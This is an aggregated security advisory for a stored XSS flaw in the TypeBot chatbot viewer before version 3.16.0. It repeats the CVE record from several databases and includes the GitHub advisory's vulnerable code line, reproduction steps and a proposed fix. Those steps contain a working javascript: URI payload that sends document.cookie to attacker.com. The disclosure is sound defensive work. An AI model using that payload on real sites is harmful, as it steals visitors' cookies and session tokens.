TypeBot: Stored XSS via javascript: URI in text bubble links — bot author executes JS on visitors' browsers

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TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

Source published

22 May 2026 17:21:20 UTC

Source modified

23 May 2026 02:34:09 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

Source published

May 22, 2026, 5:21:20 PM (timezone not stated)

Source modified

May 23, 2026, 2:34:09 AM (timezone not stated)

Saved here

15 Nov 2026 11:06:55 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.

Source published

22 May 2026 18:16:21 UTC

Source modified

23 Jul 2026 16:10:00 UTC

Saved here

25 Oct 2026 09:17:24 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

### Summary The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. ### Details Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx` ```tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a> ``` SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged. The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping. ### Steps to Reproduce ``` 1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com ``` Source-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked. ### Impact - Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required ### Proposed Fix Filter `javascript:` URIs before rendering anchor tags: ```tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url <a href={safeUrl(elementDescendant.url as string)} ...> ``` Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).

Source published

26 May 2026 18:00:24 UTC

Source modified

10 Sep 2026 03:51:05 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE